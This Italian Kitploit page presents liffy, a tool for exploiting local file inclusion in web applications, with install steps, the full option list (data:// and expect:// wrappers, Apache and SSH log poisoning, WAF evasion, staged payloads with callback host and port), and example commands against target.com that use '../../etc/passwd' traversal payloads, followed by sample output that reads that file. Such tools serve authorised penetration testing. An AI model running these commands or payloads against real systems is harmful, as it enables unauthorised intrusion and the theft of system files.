liffy — Strumento di sfruttamento dell'inclusione locale di file | Kitploit

# Installa uv se non lo hai già
curl -LsSf https://astral.sh/uv/install.sh | sh

# Clona il repository
git clone https://github.com/mzfr/liffy
cd liffy

# Crea un ambiente virtuale con uv
uv venv

# Installa le dipendenze da pyproject.toml
uv sync

# Esegui liffy
uv run python liffy.py --help

usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--blind-list BLIND_LIST]
                [--auto] [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

argomenti posizionali:
  url                   URL da testare per LFI

Tecniche principali:
  -d, --data            Usa la tecnica data://
  -i, --input           Usa la tecnica input://
  -e, --expect          Usa la tecnica expect://
  -f, --filter          Usa la tecnica filter://
  -p, --proc            Usa la tecnica /proc/self/environ
  -a, --access          Tecnica dei log di accesso Apache
  --ssh                 Avvelenamento log auth SSH
  -dt, --directorytraverse  Test per Directory Traversal
  --null-byte           Test per Null Byte Poisoning
  --zip                 Test per sfruttamento wrapper ZIP
  --wrappers, --wrapper Rileva i comuni stream wrapper LFI
  --wrapper-list WRAPPER_LIST
                        Percorso verso un elenco personalizzato di payload di sonda per wrapper
  --oob                 Invia sondaggi di callback out-of-band
  --oob-url OOB_URL     URL base di callback OOB
  --blind               Esegui controlli LFI ciechi basati su differenze di risposta
  --blind-list BLIND_LIST
                        Percorso verso un elenco personalizzato di sonde LFI cieche
  --auto                Esegui un piano di scansione automatica sicuro

Opzioni avanzate:
  --encoding            Usa tecniche di codifica/bypass avanzate
  --waf-bypass          Usa tecniche di evasione WAF
  --method {GET,POST}   Metodo HTTP da utilizzare (default: GET)
  --post-data POST_DATA Dati POST (formato: key=value&key2=value2)
  --headers HEADERS     Header personalizzati (formato: Header1:Value1,Header2:Value2)
  --detection           Esegui solo rilevamento LFI, nessuno sfruttamento

Opzioni richiesta:
  --timeout TIMEOUT     Timeout della richiesta HTTP in secondi
  --proxy PROXY         URL proxy HTTP(S), es. http://127.0.0.1:8080
  --verify-tls          Verifica i certificati TLS invece di usare richieste non sicure
  --user-agent UA       Header User-Agent personalizzato
  --delay DELAY         Ritardo tra le richieste in secondi
  --retries RETRIES     Tentativi HTTP per richiesta

Opzioni automazione:
  --lhost LHOST         Host di callback per payload staged
  --lport LPORT         Porta di callback per payload staged
  --read-file PATH      Percorso del file da leggere con filter://
  -y, --yes             Usa valori predefiniti per i prompt ed esegui in modo non interattivo
  --json                Stampa un riepilogo JSON dell'esecuzione
  --output OUTPUT       Scrivi il riepilogo JSON in un file
  --quiet               Sopprime l'output terminale normale

Opzioni generali:
  -ns, --nostager       Esegui direttamente il payload, non usare stager
  -r, --relative        Usa sequenze di path traversal per l'attacco
  -l, --location LOCATION  Percorso del file target (access log, auth log, ecc.)
  --cookies COOKIES     Cookie di sessione per autenticazione
  -t, --threads THREADS Numero di thread da utilizzare (default: 5)
  --no-color            Disabilita output colorato
  --no-banner           Disabilita visualizzazione banner
  --config              Crea file di configurazione YAML predefinito

# File di configurazione Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

# POST con dati del modulo
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST con header personalizzati
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

# Invia traffico attraverso un proxy locale e riprova in caso di fallimenti transitori
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Usa un User-Agent fisso e un ritardo personalizzato tra le richieste
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

[+] RIEPILOGO VULNERABILITÀ
==================================================
[1] Vulnerabilità trovata
    Payload: ../../etc/passwd
    Confidenza: 85%
    Prova: File /etc/passwd di Linux: root:
    Codice stato: 200
    Lunghezza contenuto: 1547

# Usa tecniche di bypass WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Riduci il numero di thread e aumenta i ritardi
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

liffy

Più Popolari

Strumento avanzato per lo sfruttamento di LFI

Indice

Caratteristiche

Tecniche LFI principali

Funzionalità avanzate

Miglioramenti moderni

Installazione

Utilizzo

Sintassi di base

Opzioni da riga di comando

Configurazione

Configurazione YAML

Variabili d'ambiente

Tecniche avanzate

Tecniche di evasione WAF

Tecniche di bypass tramite codifica

Supporto richieste POST

Ottimizzazione delle richieste

Esempi

Test LFI di base

Test con wrapper data://

Test con tecniche multiple

Solo modalità rilevamento

Utilizzo avanzato

Bypass WAF con codifica

Multi-thread con rate limiting

Richiesta POST con header personalizzati

Avvelenamento log

Avvelenamento access log di Apache

Avvelenamento log auth SSH

Posizione personalizzata del log

Directory Traversal

Path traversal relativo

Test di directory traversal

Tecniche speciali

Null byte poisoning (PHP legacy)

Sfruttamento wrapper ZIP

Rilevamento wrapper comuni

Sonde di callback out-of-band

Controlli LFI ciechi

Scansione automatica sicura

Scansione completa con tutte le tecniche

Autenticazione e Cookie

Utilizzo di cookie di sessione

Utilizzo scriptato / non interattivo

Fornire valori di callback senza prompt

Leggere un file specifico con filter:// senza prompt

Output strutturato

Stampare un riepilogo JSON dell'esecuzione

Scrivere un riepilogo JSON su disco mantenendo l'output terminale

Controllo dell'output

Disabilitare colori e banner

Sopprimere l'output terminale normale

Posizioni predefinite dei file

Contributi

Suggerimenti di funzionalità

Segnalazioni di bug

Pull Request

Rilevamento vulnerabilità

Punteggio di confidenza

Funzionalità di rilevamento

Esempio di output di rilevamento

Risoluzione dei problemi

Problemi comuni

Richieste bloccate dal WAF

Problemi di rate limiting

Modalità di debug

Avviso di sicurezza

Crediti

Ispirazione originale

Tecniche e ricerca

Design e risorse

Licenza